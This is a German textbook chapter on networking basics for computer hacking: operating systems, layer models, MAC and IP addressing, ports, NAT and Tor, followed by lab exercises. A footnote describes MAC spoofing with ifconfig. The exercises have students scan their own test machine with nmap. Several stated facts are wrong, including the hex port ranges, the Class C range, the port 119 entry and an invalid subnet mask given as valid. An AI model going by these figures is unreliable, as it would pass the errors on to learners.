Es sind viel mehr Betriebssysteme im Einsatz, als nur die bekanntesten wie Windows, Mac OS oder Linux. Eine Auswahl aktuell eingesetzter Betriebssysteme ist in Tab. 2.1 aufgelistet. Einige dieser Betriebssysteme sind für spezielle Einsatzgebiete wie Echtzeitanwendungen, Desktopsysteme oder eingebettete Systeme optimiert. Diese Liste der Betriebssysteme ist bei weitem nicht erschöpfend (Tab. 2.1) [1]. Zu diesen Betriebssystemen kommen unzählige Varianten und (Linux-)Distributionen, die unterschiedliche Schwerpunkte verfolgen und für bestimmte Einsatzzwecke vorkonfiguriert sind. So ist Kali-Linux beispielsweise linuxbasiert, aber soweit vorkonfiguriert, dass die wichtigsten IT-Sicherheitswerkzeuge bereits installiert sind und direkt benutzt werden können. Grundsätzlich dienen Betriebssysteme der Verwaltung von Hardwareressourcen und Anwendungsprogrammen. Die Aufgaben eines Betriebssystems sind daher das Laden, Ausführen, Unterbrechen und Beenden von Programmen. Hierfür müssen die Speicherressourcen, die angeschlossenen Geräte und die verfügbaren Prozessoren verwaltet werden. Im Laufe der Zeit wurde die Gewichtung der Aufgaben hin zu Schutzfunktionen wie Ein© Der/die Autor(en), exklusiv lizenziert an Springer-Verlag GmbH, DE, ein Teil von Springer Nature 2023 U. Kebschull, Computer Hacking, https://doi.org/10.1007/978-3-662-67030-9_2
17
18
2 Grundlagen
Tab. 2.1 Betriebssysteme Name
Einsatzzweck
AIX
Desktop-Systeme und Server
Android
Mobilgeräte
AOS-CX
Switche und Router der Firma Aruba
ChromeOS
Webanwendungen auf Notebooks und Desktoprechner
Cisco IOS
Switche und Router der Firma Cisco
FreeBSD
Unix-Betriebssystem
Fritz!OS
Router der Firma AVM
HP-UX
Desktop-Systeme und Server
iOS
Mobiltelefone der Firma Apple
iPadOS
Tablets der Firma Apple
JavaOS
Eingebettete Systeme
JunOS
Switche und Router der Firma Juniper
Linux
Desktops, Notebooks und Server
Mac OS
Desktops, Notebooks und Server der Firma Apple
QNX
Eingebettete Systeme
ReactOS
Open Source Windows
RTEMS
Echtzeitbetriebssystem
VxWorks
Echtzeitbetriebssystem
Windows
Desktops, Notebooks und Server
zOS
Mainframes der Firma IBM
haltung von Benutzerrechten, Zugriffskontrollen oder Speicherschutz verschoben. Diese Schutzmechanismen machen Computersysteme robuster gegen Cyberangriffe. Zentrale Komponenten eines Betriebssystem sind der Kernel und die Gerätetreiber. Da der direkte Zugriff auf Systemressourcen nur mit erhöhten Rechten erfolgen darf, gleichzeitig die Rechte eines Nutzers begrenzt bleiben sollen, muss der Kernel stets zwischen beiden Welten vermitteln. Programmierfehler, Fehler in den Protokollen oder Designfehler ermöglichen es Angreifern immer wieder, erweiterte Zugriffsrechte zu erlangen. Die Vielzahl der verfügbaren Betriebssysteme, gepaart mit der Notwendigkeit, diese stets weiterzuentwickeln, bindet gewaltige Entwicklerressourcen. So ist zu erklären, dass einige der Betriebssysteme aufeinander aufbauen. Beispielsweise basieren Android, iOS und Mac OS im Kern auf Unix-Derivaten, die von den Firmen Google und Apple für ihre Zwecke weiterentwickelt wurden. Findet ein versierter Hacker ein konzeptuelle Sicherheitslücke im ursprünglichen Quellcode, so wird sich diese Lücke mit hoher Wahrscheinlichkeit in allen davon abgeleiteten Betriebssystemen und damit in einer Vielzahl von Computersystemen wiederfinden. Für
2.2
Schichtenmodelle
19
alle abgeleiteten Varianten müssen geeignete Patches entwickelt werden und alle diese Systeme müssen auf den aktuellen Stand gebracht werden, um die Lücke zu schließen. Wird in einem Netzwerk auch nur ein Server oder ein Gerät übersehen, haben Cyberkriminelle leichtes Spiel dieses zu übernehmen. Insbesondere bei preisgünstigen Consumer-Geräten (z. B. Mobilgeräte oder Hausautomation), die ein gewisses Alter erreicht haben, besteht seitens der Hersteller kaum Interesse, Patches für neu entdeckte Sicherheitslücken zu entwickeln und an alle Endkunden auszurollen. Aber selbst wenn ein Patch auf den Webseiten des Herstellers zum Download bereit steht, müsste aktiv nach diesem Patch gesucht und dieser manuell eingespielt werden. So ist es zu erklären, dass immer wieder Altgeräte mit teils gravierenden Lücken über Jahre hinweg zum Sicherheitsrisiko werden. Alte PCs, die aus Sicht der Anwender noch gut funktionieren, für die es aber keine aktuellen Betriebssysteme und damit keine Sicherheitsupdates mehr gibt, sind für Cyberkriminelle eine leichte Beute.
2.2
Schichtenmodelle
Den meisten dieser Betriebssysteme ist gemein, dass sie mit einem Netzwerk, in der Regel mit dem Internet, verbunden sind. Für die Kommunikation mit diesem Netzwerk sind spezielle Gerätetreiber im Einsatz, die sich im Detail unterschiedlich verhalten und regelmäßig auf den neusten Softwarestand gebracht werden müssen, weil neue Implementierungs- oder Entwurfsfehler entdeckt werden, die sich für Cyberangriffe eignen. Der Zweck dieser Treiber ist die Implementierung einer Schichtenarchitektur für Netzwerkprotokolle auf dem das Internet basiert. Man unterscheidet das OSI-Modell (auch ISO/OSI-Referenzmodell) ist ein Modell für Netzwerkprotokolle als Schichtenarchitektur und das DoD-Schichtenmodell des US-amerikanischen Verteidigungsministeriums. Das DoD-Schichtenmodell ist eine vereinfachte Variante des OSI-Modells bei dem die oberen drei und die unteren beiden Schichten zusammengefasst wurden (vgl. Tab. 2.2 oder Abb. 2.1).
Tab. 2.2 OSI- und DoD-Schichtenmodelle OSI-Schichtenmodell
DoD-Schichtenmodell
7. Anwendungsschicht 6. Darstellungsschicht 5. Kommunikationsschicht
4. Anwendungsschicht
4. Transportschicht
3. Transportschicht
3. Vermittlungsschicht
2. Internetschicht
2. Sicherungsschicht 1. Bitübertragungsschicht
1. Netzzugangsschicht
20
2 Grundlagen
Abb. 2.1 DoD-Schichtenmodell
Für unsere Zwecke reicht das Schichtenmodell des DoD meist völlig aus, weshalb wir uns auf die Betrachtung dieses Modell beschränken. Die Aufgaben der einzelnen Schichten lassen sich wie folgt beschreiben: 1. Netzzugangsschicht – Network Access Layer: Diese Schicht ist die unterste Schicht des DoD-Schichtenmodells und stellt den Zugang zum Netzwerk dar. In lokalen Netzwerken ist das zum Beispiel Ethernet oder WLAN. 2. Internetschicht – Internet Layer: Auf der Internetschicht werden die einzelnen Datenpakete mit einer IP- Adresse versehen und ihre Größe an das Übertragungssystem angepasst (Fragmentierung). 3. Transportschicht – Transport Layer: Die Transportschicht dient als Steuerungsprotokoll des Datenflusses zwischen der Anwendung und der Internetschicht. Diesen Datenfluss regeln die Protokolle TCP und UDP. 4. Anwendungsschicht – Application Layer: In der Anwendungsschicht sind die Anwendungen und Protokolle definiert, die über das Internet miteinander kommunizieren. Hierzu zählen HTTP, Login, HTTPS, SSH, IMAP (Internet Message Access Protocol, Protokoll zum Zugriff auf E-Mails, die auf einem Mailserver gespeichert sind), SMTP (Simple Mail Transfer Protocol, Protokoll zum Austausch von E-Mails zwischen Computern), NNTP (Network News Transfer Protocol, Protokoll zum Austausch von Nachrichten), Telnet und viele mehr.
2.4
2.3
IP-Adressen
21
MAC-Adressen
Auf der Netzzugangsschicht erfolgt die Kommunikation über MAC-Adressen. MAC steht in diesem Zusammenhang für Media Access Control. Die MAC-Adresse ist eine 48 Bit, beziehungsweise 6 Byte lange Kennung, die von IEEE (Institute of Electrical and Electronics Engineers, Berufsverband von Ingenieuren, Technikern und Naturwissenschaftlern und angrenzenden Berufen aus den Bereichen Elektrotechnik und Informationstechnik) an Hersteller von Netzwerkgeräten vergeben wird. Die Hälfte der Bits, also 24 Bit oder 3 Byte sind herstellerspezifisch, die restlichen Bits sollen dafür sorgen, dass keine zwei Endgeräte mit derselben MAC-Adresse in einem Netzwerksegment gleichzeitig aktiv sind. Üblich ist eine byteweise Darstellung im hexadezimalen Zahlenformat, bei der die Bytes meist durch „:“ oder „-“ getrennt sind. Hier ein Beispiel für die Darstellung einer typischen MAC-Adresse: 08:00:20:ae:1f:e7 oder 08-00-20-ae-1f-e7. Bei zugelieferten Produkten weist die MAC oft den tatsächlichen Hersteller aus (OEMOriginal Equipment Manufacturer, Hersteller von Komponenten oder Produkten, die dieser nicht selbst in den Handel bringt). Das ist jedoch keineswegs immer so, denn manchmal stattet der OEM die Geräte bereits mit MAC-Adressen aus einem Bereich aus, der auf die Firma registriert ist, unter deren Namen das Produkt später auf den Markt kommt. Für Angreifer ist die Kenntnis des Herstellers einer Netzwerkkomponente eine wichtige Information: sind Fehler in der Implementierung der Netzzugangsschicht auf Geräten eines bestimmten Herstellers bekannt, kann diese Information mögliche Angriffswege aufzeigen. Der Hersteller lässt sich aus einer MAC-Adresse sehr einfach identifizieren: über eine Internetseite (z. B. https://www.heise.de/netze/tools/mac/) kann man die MAC-Adresse oder die ersten 3 Byte der MAC-Adresse eines Adapters eingeben. Die Eingabe von „08:00:20“ liefert beispielsweise die Information, dass diese Kennung vergeben ist an: Oracle Corporation, 17 Network Circle, Menlo Park CA 95025, US. Weitere Beispiele sind „00:07:e9“ für Intel, „00:06:2F“ für Cisco oder „00:15:F2“ für Asus. MAC-Adressen werden bei vielen Routern als Zugangsschutz für WLANs oder LANs angeboten. Da eine MAC-Adresse eines Netzwerkadapters jedoch sehr leicht durch Software geändert werden kann (MAC-Spoofing), bietet diese Art der Zugangskontrolle jedoch nur einen geringen Schutz.1
2.4
IP-Adressen
Die über der Netzwerkschicht liegende Internetschicht verwendet IP-Adressen. Jeder Computer, der mit dem Internet direkt verbunden ist, besitzt eine eindeutige Adresse unter der 1 In Windows kann die MAC-Adresse im Gerätemanager für den jeweiligen Adapter unter „Eigen-
schaften“ eingetragen werden. Unter Linux geht das für den Ethernet Adapter „eth0“ wie folgt: 1. den Adapter mit „ifconfig eth0 down“ abschalten, 2. mit dem Befehl „ifconfig eth0 hw ether “ die neue MAC-Adresse setzen, 3. den Adapter mit „ifconfig eth0 up“ wieder einschalten.
22
2 Grundlagen
Abb. 2.2 IPv4-Adresse
dieser erreicht werden kann. IP-Adressen nach der Version 4 des IP-Formats werden in der Regel als vier Dezimalzahlen (0–255) angegeben, die durch einen „.“ getrennt werden. Eine IP-Adresse im Format IPv4 hat also beispielsweise die Form „142.2.37.41“. Eine Subnetzmaske legt fest, welche IP-Adressen ein Gerät im eigenen Netz ohne die Zuhilfenahme eines Routers erreichen kann. Die Subnetzmaske „255.255.255.0“ für die Beispiel-IPv4-Adresse besagt, dass alle Geräte, deren IP-Adresse mit „142.2.37“ beginnt direkt angesprochen werden können. Man nennt diesen Teil den Netzwerkanteil der IPAdresse. Die „41“ nennt man den Hostanteil (Abb. 2.2). Mit der Subnetzmaske lässt ich die Grenze zwischen Netzwerkanteil und Hostanteil bitweise verschieben. Alle Systeme mit dem gleichen Netzwerkanteil können sich grundsätzlich gegenseitig direkt erreichen. Soll ein System kontaktiert werden, dass sich in einem Netzwerksegment mit einem anderen Netzwerkanteil befindet, so muss die IP-Kommunikation über ein Gateway erfolgen. Die rechnerische Zahl der IPv4-Adressen reicht nicht aus um alle Computer der Welt eindeutig zu adressieren. Bereits am 3. Februar 2011 wurden die letzten beiden freien IPAdressen zugeteilt. Aus diesem Grund gibt es zwei Maßnahmen, die umgesetzt wurden, um IP-Adressen zu sparen: private Adressbereiche und eine neue Protokollvariante IPv6 mit 2128 Adressen. Private Adressbereiche sind Netzadressen, die im Internet nicht geroutet werden. Sie können deshalb von Netzwerkadministratoren für Firmen- oder Privatnetze frei vergeben werden. Man unterscheidet drei private Adressbereiche: • 10.0.0.0 bis 10.255.255.255 (1 Netz mit 16.777.216 Knoten) • 172.16.0.0 bis 172.31.255.255 (16 Netze mit je 65.536 Knoten) • 192.168.0.0 bis 192.168.255.255 (256 Netze mit je 256 Knoten) Man spricht im Zusammenhang mit privaten Netzen auch von Class-A-, Class-B- oder Class-C-Netzen: • Class A: 0.0.0.0 bis 127.255.255.0 (255.0.0.0), 16 M Systeme in einem Netzsegment • Class B: 128.0.0.0 bis 191.255.255.255 (255.255.0.0), 64 K Systeme in einem Netzsegment • Class C: 192.0.0.0 bis 239.255.255.255 (255.255.255.0), 256 Systeme in einem Netzsegment Diese Zuordnung hat außerhalb der privaten Netzen jedoch keine praxisrelevante Bedeutung mehr, weil zu viele Netzwerkadressen verschwendet werden würden. So gäbe es weltweit nur 256 Class-A-Netze mit mehr als 65.000 Geräten.
2.4
IP-Adressen
23
Abb. 2.3 IPv6-Adresse
Eine alternative Schreibweise ist die CIDR-Notation (Classless Inter-Domain Routing). Bei dieser Notation von IP-Adressen, bei der die Anzahl der „1“-Bits, ausgehend vom höchstwertigen Bit, angegeben wird, entfällt die Zuordnung von Netzwerkadressen zu Klassen. Diese „1“-Bits entsprechen der Subnetzmaske der klassischen Notation. Beispiele für IPAdressen in CIDR-Notation sind 192.168.4.5/24, was der IP-Adresse 192.168.4.5 und der Subnetzmaske 255.255.255.0 entspricht oder die Adresse 172.17.16.15/17 im Netzwerk 172.17.0.0 mit der Subnetzmaske 255.255.128.0. Im zweiten Beispiel wäre die kleinste IP Adresse im Subnetz 172.17.0.0 und die größte Adresse 172.14.127.255. Die kleinste Adresse wird als Netzadresse bezeichnet. Die größte Adresse ist die Broadcast-Adresse, die alle Hosts im Subnetz adressiert. Nutzbar wären alle Adressen zwischen 172.17.0.1 und 172.17.127.254 also insgesamt 32.766 Adressen. Die Übersetzung der öffentlichen in die privaten Adressbereiche und umgekehrt, erfolgt durch die Network-Address-Translation (NAT), die meist in Routern implementiert ist. IPv6-Adressen sind deutlich länger und sollen damit die Adressknappheit im Internet beenden. Ein Beispiel für eine IPv6-Adresse ist in Abb. 2.3 dargestellt. IPv6 und IPv4 lassen sich auf demselben Netz parallel betreiben, was bedeutet, dass alle Hersteller von Netzwerkkomponenten beide IP-Stacks implementieren müssen um zukunftsfähig zu bleiben. Bleibt anzumerken, dass es bis heute (2022) keine Netzwerkgeräte wie Router gibt, die den IPv6-Stack in allen Facetten vollständig realisieren. Die Einführung von IPv6 in vorhandene Netzwerke ist meist ein mehrjähriges Projekt über verschiedene Generationen von Netzwerkkomponenten. IP-Adressen in Netzwerken können auch dynamisch vergeben werden. Zu diesem Zweck wurde das DHCP (Dynamic Host Configuration Protocol)2 entwickelt. Grundsätzlich fragt ein Endgerät eine IP-Adresse mit seiner eigenen MAC-Adresse über einen Broadcast im Netzsegment an. Der DHCP-Server weist anschließend eine IP-Adresse zu. Diese dynamische Adresse erhält meist eine begrenzte Gültigkeitsdauer (Lease-Time).
2 Für IPv6 ist ein DHCP eigentlich gar nicht notwendig. Allerdings müsste sich dann das Endgerät
selbst dazu ermächtigen, in einem Netz teilnehmen zu dürfen. Bei administrierten Netzwerken muss es eine Möglichkeit geben, den Zugang zentral zu steuern. Deshalb wird die sogenannte Stateful Address Configuration über einen DHCPv6-Sever und Router Advertisement durchgeführt.
24
2.5
2 Grundlagen
Die Protokolle TCP und UDP
Für die Transportschicht existieren zwei Protokolle mit unterschiedlichen Anwendungsszenarien: TCP und UDP. Das Transmission Control Protocol (TCP) implementiert eine vollduplex Ende-zu-Ende-Verbindung, bei der Datenverluste erkannt und automatisch behoben werden. Voll-duplex bedeutet, dass die Datenübertragung in beiden Richtungen gleichzeitig möglich ist. Obwohl das nicht zwingend vorgeschrieben ist, setzt TCP meist auf IP auf, weshalb beide Protokolle TCP/IP in einem Kürzel vereint werden. Für Anwendungen, bei denen der Verlust einzelner Datenpakete kein größeres Problem darstellt, wie zum Beispiel Internettelefonie, existiert auf der Transportschicht ein weiteres Protokoll: User Datagram Protocol (UDP). Es handelt sich hierbei um ein verbindungsloses Transportprotokoll, ohne Bestätigung, Sicherung des Datentransfers oder erweiterte Kontrollfunktionen. Der Vorteil gegenüber TCP besteht in einem kleineren Header und einer schlankeren Übertragung. Anwendungen sind u. a. Audioübertragung (Telefonie), Videotelefonie, IP-Fernsehen oder Online-Spiele, bei denen der Verlust einzelner Pakete zwar kurze Störungen verursachen können, aber dennoch keine wesentliche Einschränkung des Dienstes darstellen. Daneben dient in Rechnernetzen das Internet Control Message Protocol (ICMP) dem Austausch von Informations- und Fehlermeldungen über das Internetprotokoll (IP)3 . ICMP ist Bestandteil des IPv4, wird aber meist als eigenständiges Protokoll betrachtet. Alle Endgeräte und Netzwerkkomponenten können ICMP-Pakete grundsätzlich verarbeiten. Um keine unnötigen Informationen über ein Netzwerksegment preiszugeben, werden manche Geräte von Administratoren so konfiguriert, dass sie ICMP-Pakete grundsätzlich verwerfen. Die Hauptaufgabe von ICMP ist die Übertragung von Status- oder Fehlermeldungen der Protokolle IP, TCP und UDP zwischen den Endgeräten und Routern. ICMP wird außerdem benutzt, um die Erreichbarkeit bestimmter Netzwerkkomponenten oder Endgeräte zu prüfen. Hierzu sind in den meisten Betriebssystemen die Kommandos ping und traceroute implementiert. Ping-Anfragen werden als „Echo-Request“ abgesendet und lösen beim Ziel ein „Echo-Reply“ Paket aus, das an den Sender zurückgesendet wird. Neben speziellen Netzwerkanalysewerkzeugen, die bei Netzwerkproblemen verwendet werden, gibt es auch die Möglichkeit den Datenverkehr und die ICMP-Meldungen mit einem Netzwerkmonitor zu überwachen.
2.6
IP-Ports
Neben der Adresse eines Rechners ist die Art des Dienstes wichtig, für den ein Datenpaket geliefert oder angefragt wird. Die Tür zum Rechner sind die Ports. Hinter einem Port wacht ein Programm im Zielsystem auf Datenpakete. Während die IP-Adresse den gesamten 3 Für IPv6 existiert ein ähnliches Protokoll mit dem Namen ICMPv6.
2.6
IP-Ports
25
Tab. 2.3 Portbereiche Art des Dienstes
Portnummer Dezimal
Portnummer Hexadezimal
System Ports
0..1023
0h ..3FFh
Registered Ports
1024..49151
400h ..BFFh
Dynamic Ports
49152..65535
C00h ..FFFFh
Rechner adressiert, legt der Port also fest, welches Programm in diesem Rechnersystem die Daten entgegennehmen oder Anfragen beantworten soll. Ein Beispiel ist der HTTP-Port 80 für Webseiten. Kommt eine Anfrage auf diesem Port an die IP-Adresse eines Webservers, liefert dieser HTTP-Code aus. Eine Anfrage nach dem Format „http://www.example.com:80/path/index.html“ zielt beispielsweise auf den Rechner „www.example.com“ mit dem Port „80“ im Pfad „path“ und dort auf die Datei „index.html“, die als Text ausgeliefert wird. Mit einer solchen Anfrage könnte ein Angreifer also gezielt Daten in einem Zielsystem auslesen, sofern dies nicht durch eine geeignete Konfiguration im Webserver des Zielsystems verhindert wird. Die Ports dienen auch der Unterscheidung mehrerer Verbindungen zwischen demselben Paar von Endpunkten und damit der Unterscheidung von Diensten. Für die Portnummern sind die Bereiche aus Tab. 2.3 definiert. System Ports werden auch „well-known Ports“ genannt und sind für Netzwerkdienste reserviert, sofern sie nicht bereits als „reservierte Ports“ für zukünftige Erweiterungen zugewiesen worden sind. Alle Computersysteme, die über das Internet kommunizieren, verwenden dieselbe Zuordnung der Ports zu den Diensten. Registered Ports werden auch User Ports genannt und sind für registrierte Dienste vorgesehen, können aber grundsätzlich auch für Clientprogramme verwendet werden. Die dynamische Zuordnung für Clientprogramme wird von der Mehrzahl der aktuellen Betriebssysteme nicht mehr durchgeführt, da hierfür die „Dynamic Ports“ vorgesehen sind. Dynamic Ports werden vom Anwendungsprogrammen für Kommunikation zwischen Rechnersystemen dynamisch verwendet. Die Wahl der Portnummer in diesem Bereich ist frei. Nicht alle Systeme halten sich an die Portbereiche. Insbesondere Linuxsysteme vergeben niedrigere Portnummern ab 1024 auch für Clientprogramme und nicht alle Ports sind für die Protokolle TCP und UDP spezifiziert. Eine Auswahl der wichtigsten Systemdienste findet sich in Tab. 2.4.
26
2 Grundlagen
Tab. 2.4 Die wichtigsten Systemports Portnummer
Dienst
Protokoll
20
File Transfer Protocol Datenübertragung (FTP)
Nur TCP
21
File Transfer Protocol Steuerung (FTP)
Nur TCP
22
Secure Shell (SSH),
TCP und UDP
23
Telnet remote login service
Nur TCP
25
Simple Mail Transfer Protocol (SMTP)
Nur TCP
53
Domain Name System (DNS), service
TCP und UDP
80
Hypertext Transfer Protocol (HTTP)
Nur TCP
110
Post Office Protocol (POP3)
Nur TCP
119
Network News Transfer Protocol (NTP)
Nur UDP
123
Network Time Protocol (NTP)
Nur UDP
137
NetBIOS Name Service (NetBIOS)
TCP und UDP
138
NetBIOS Datagram Service (NetBIOS)
TCP und UDP
139
NetBIOS Session Service (NetBIOS)
TCP und UDP
143
Internet Message Access Protocol (IMAP)
TCP und UDP
161
Simple Network Management Protocol (SNMP)
Nur UDP
194
Internet Relay Chat (IRC)
TCP und UDP
443
HTTP Secure (HTTPS)
Nur TCP
445
Samba (SMB)
Nur TCP
1433
Microsoft SQL Server (MSSQL)
Nur TCP
3306
MySQL und MariaDB (MySQL)
TCP und UDP
3389
Remote Desktop Protocol (RDP)
TCP und UDP
2.7
Network Address Translation
Aufgrund der Knappheit öffentlicher IPv4-Adressen, wird Network-Address-Translation (NAT) verwendet, um ein privates Netzwerk hinter einer einzelnen IP-Adresse zu bündeln. Dabei erhält der Router die öffentliche IP-Adresse, die vom Internetprovider temporär zugewiesen wurde. Hinter dem Router befindet sich das private Class-C- oder Class-B-Netz. Mithilfe der Ports lässt sich die Funktionsweise der Network-Address-Translation erklären. Die Absenderadresse besteht wie die Empfängeradresse aus der IP und dem Port. Dabei werden die Ports der Absender-IP des Clients als Marker verwendet, um die als Antwort empfangenen Pakete zuordnen zu können. Der Router ersetzt die private IP des Clients durch seine eigene, behält aber die Portnummer des Absenders bei. Das Ziel der Anfrage wird seine Antwort auf die IP-Adresse des Routers unter Angabe des verwendeten Ports zurücksenden und können vom Router entsprechend zugeordnet werden. Die dynamischen
2.8
Das Tor-Netzwerk
27
Abb. 2.4 NAT-Beispiel
Ports werden verwendet, um unterschiedliche Kommunikationskanäle aufrecht zu halten (Abb. 2.4). Network-Address-Translation erhöht die Sicherheit von Endgeräten, da diese hinter einem Router liegen und vom dem öffentlichen Internet nicht direkt erreicht werden können. Nur vom Endgerät aus ist ein Verbindungsaufbau ins Internet möglich. Der Router leitet nur Antworten von solchen IP/Port-Kombinationen an den Client weiter, für die zuvor eine Anfrage abgesetzt wurde. Dadurch entsteht ein Schutz ähnlich wie bei einer Firewall. Allerdings kann NAT keine vollwertige Firewall und Paketfilter ersetzen. Mit IPv6 ist Network-Address-Translation überflüssig. Jedes Endgerät erhält eine eigene öffentliche IPv6-Adresse und kann ohne die typischen Probleme der Adressübersetzung mit beliebigen Endgeräten Ende-zu-Ende-Verbindungen aufbauen. Die notwendigen Maßnahmen zum Schutz von Endgeräten und Netzwerken werden von der Firewall implementiert. Manche Sicherheitsexperten diskutieren, NAT auch für IPv6 zu implementieren, um als zusätzliche Sicherheitsfunktion die Topologie eines hinter einer Firewall liegenden Netzwerks zu verschleiern. Insbesondere im Parallelbetrieb von IPv4 und IPv6 entstehen hier immer wieder Probleme und es werden neue Sicherheitslücken gefunden.
2.8
Das Tor-Netzwerk
Das Tor4 -Netzwerk dient der Anonymisierung von Verbindungsdaten. Es wird auf der TCPEbene eingesetzt und kann den Datenverkehr bestimmter Dienste anonymisieren. Die Software basiert auf dem Prinzip des Onion-Routings und wurde mit einigen Abwandlungen implementiert (Abb. 2.5): 1. Der Tor-Client erhält eine Liste von Tor-Knotenpunkten und sendet seine Anfrage an einen zufällig ausgewählten Knoten. 2. Dieser Knoten sendet die Anfrage an einen beliebigen weiteren Knoten im Tor-Netz. Der Vorgang wird drei Mal wiederholt. 3. Danach wird das Paket über den Tor-Ausgangsknoten an den eigentlichen Adressaten der Anfrage übermittelt. 4 Tor war ursprünglich ein Akronym für „The Onion Routing“. Die Entwickler haben beschlossen,
die Schreibweise „Tor“ zu verwenden.
28
2 Grundlagen
Abb. 2.5 Tor-Verbindungsaufbau
4. Bei jeder neuen Verbindung wird ein neuer zufälliger Weg gewählt. 5. Nach Ende der Verbindung werden alle Verbindungsdaten gelöscht. Der beschriebene Verbindungsaufbau wird in regelmäßigen Abständen wiederholt und die Verbindungsstrecken werden nach etwa 10 min gewechselt. Die Tor-Ausgangsknoten können überall auf der Welt stehen, weshalb bei einem Angriff die IP-Adresse als Hinweis über den Ort des Angreifers nicht ausreicht. Auch wenn die Nachverfolgung von Datenpaketen über das Tor-Netzwerk schwierig ist, so ist sie nicht ausgeschlossen. Tor bietet folglich keine vollständige Anonymität für jeden Angreifer. Die Überwachung einer ausreichend großen Anzahl von Tor-Knoten oder größeren Teilen des Internets ist möglich, wenn Internetprovider kooperieren. Gelingt es, den ersten und letzten Knoten der Verbindung zu überwachen, lässt sich außerdem mithilfe statistischer Auswertungen auf den Ursprung der Verbindung schließen. Gegebenenfalls kann das auch durch staatliche Einflussnahme oder geheimdienstliche Tätigkeit erfolgen. Laut Heise [2] betreibt ein unbekannter, offenbar staatlicher Angreifer in der Spitze bis zu 900 potenziell schädliche Eingangs-, Mittel- und Ausgangsserver des Tor-Netzwerks. Da das Tor-Netz in der Regel nur 9000 bis 10.000 Knoten aufweist, sind das rund 10 % des gesamten Zusammenschlusses von Tor-Netzwerkknoten. Die Knoten des Angreifers fallen dadurch auf, dass sie innerhalb des Tor-Netzes ohne die Angabe der Mailadresse des Administrators betrieben werden. Werden entsprechende Knoten aktiv aus dem Tor-Netzwerk entfernt, tauchen unmittelbar neue Knoten ohne Kontaktinformationen auf. Dieses Verhalten legt die Vermutung nahe, dass es den Angreifern darum geht, Informationen über Tor-Mitglieder zu sammeln und ihre Routen innerhalb des Netzes aufzuzeigen. Aufgrund der eingesetzten umfangreichen Ressourcen und des betriebenen Aufwands ist unwahrscheinlich, dass es sich bei den Angreifern um Amateure oder Forschergruppen handelt.
2.9
Aufgaben & Lösungen zu diesem Kapitel
2.9
Aufgaben & Lösungen zu diesem Kapitel
2.9.1
Aufgaben
29
2.1 Die folgende MAC-Adresse sei gegeben: „E0-D0-45-3D-CB-00“. Wie lautet Hersteller des Netzwerkgeräts? 2.2 Die IP-Adresse „192.168.10.6“ mit Subnetzwerkmaske „255.255.255.127“ sei gegeben. Wie lauten die Subnetzmaske in binärer Schreibweise und die Basisadresse des Netzes (Netzwerkanteil)? Wie lautet diese Adresse in CIDR-Notation? Welches sind die kleinste und die größte IP-Adresse in diesem Netzwerk, die an einen Host vergeben werden kann? Wie viele IP-Systeme/Geräte können mit diesem Netzwerk verbunden werden? 2.3 Gegeben sind die beiden IP-Adressen „10.0.0.20“ und „10.0.4.33“. Wie lautet die Subnetzmaske des kleinsten Subnetzes, das diese beiden Adressen enthält? 2.4 Recherchieren sie die Dienste, die sich hinter den folgenden Portnummern verbergen: „9“, „13“, „79“. 2.5 (P) Starten Sie einen PC und verbinden Sie sich mit dem Internet. Finden Sie heraus, mit welcher privaten und mit welcher öffentlichen IP-Adresse Sie im Internet unterwegs sind. 2.6 (P) Installieren Sie den Tor-Browser (https://www.torproject.org) und starten sie ihn. Finden Sie mit demselben Verfahren wie in Aufgabe 2.5 heraus, mit welcher öffentlichen IP-Adresse Sie im Internet sichtbar sind. Warten Sie etwas mehr als 10 min und starten Sie dieselbe Abfrage noch einmal. Was stellen Sie fest? 2.7 (P) Installieren Sie sich einen Testrechner, den Sie als Ziel für Ihre Versuche verwenden können. Hierfür gibt es mehrere Möglichkeiten: • Sie verwenden einen Rechner und installieren einen Virtualisierer wie VirtualBox (https://www.virtualbox.org) oder den VMware-Player (https://www.VMware.org). Als Betriebssystem können Sie zum Beispiel Linux-Mint (https://linuxmint.com) installieren. • Sie verwenden einen zweiten Rechner (PC oder Notebook) und installieren ebenfalls Linux-Mint.
30
2 Grundlagen
• Sie verwenden einen Raspberry Pi mit Raspberry Pi OS (https://www.raspberrypi.com/ software)5 . Verbinden Sie Ihr Testsystem mit ihrem lokalen Netz. Finden Sie die lokale IP-Adresse Ihres Testsystems heraus. Prüfen Sie, ob Sie den Testrechner über das Kommando „ping“ erreichen. Wenn ja, versuchen Sie sich über „ssh“ mit dem Testsystem zu verbinden und sich anzumelden6 . 2.8 (P) Installieren Sie Kali-Linux auf einem weiteren Rechner oder in einer virtuellen Maschine. Die Anleitung zur Installation finden Sie im Anhang A.1. Testen Sie die erfolgreiche Installation, indem Sie, wie in der letzten Aufgabe, per „ping“ die Erreichbarkeit prüfen und sich anschließend per „ssh“ anmelden. 2.9 (P) Führen Sie einen ersten nmap-Scan mit Ihrem Testsystem als Ziel durch. Welche offenen Ports sehen Sie?
2.9.2
Lösungen
2.1 Der Name des Herstellers dieses Netzwerkadapters ist „Intel Corporate“. 2.2 Zur IP-Adresse „192.168.10.6“ mit der Subnetzmaske „255.255.255.127“ passen folgende Netzwerkparameter: • Die Subnetzmaske „255.255.255.127“ entspricht „1111 1111.1111 1111.1111 1111.1000 0000“ in binärer Schreibweise. • Die Basisadresse lautet „192.168.10.0“. • Die Adresse in CIDR-Notation lautet „192.168.10.6/25“. • Kleinste IP-Adresse: „192.168.10.1“, größte IP-Adresse: „192.168.10.126“.
5 Falls Der Raspberry Pi das Testsystem werden soll, laden Sie den Raspberry Pi Imager (https://
www.raspberrypi.com/software/) herunter, starten ihn und installieren die empfohlene RaspberryPi-OS-Version auf einer SD-Karte. Mit dieser SD-Karte können Sie anschließend den Raspberry Pi starten und das Setup abschließen. 6 Bei der Erstinstallation von Raspberry Pi OS ist die Anmeldung per „ssh“ zunächst durch die lokale Firewall auf dem Raspberry Pi gesperrt. Sie können „ssh“ auf der grafischen Oberfläche des Raspberry Pi in den Einstellungen unter „Raspberry Pi Konfiguration“ im Reiter Schnittstellen aktivieren.
2.9
Aufgaben & Lösungen zu diesem Kapitel
31
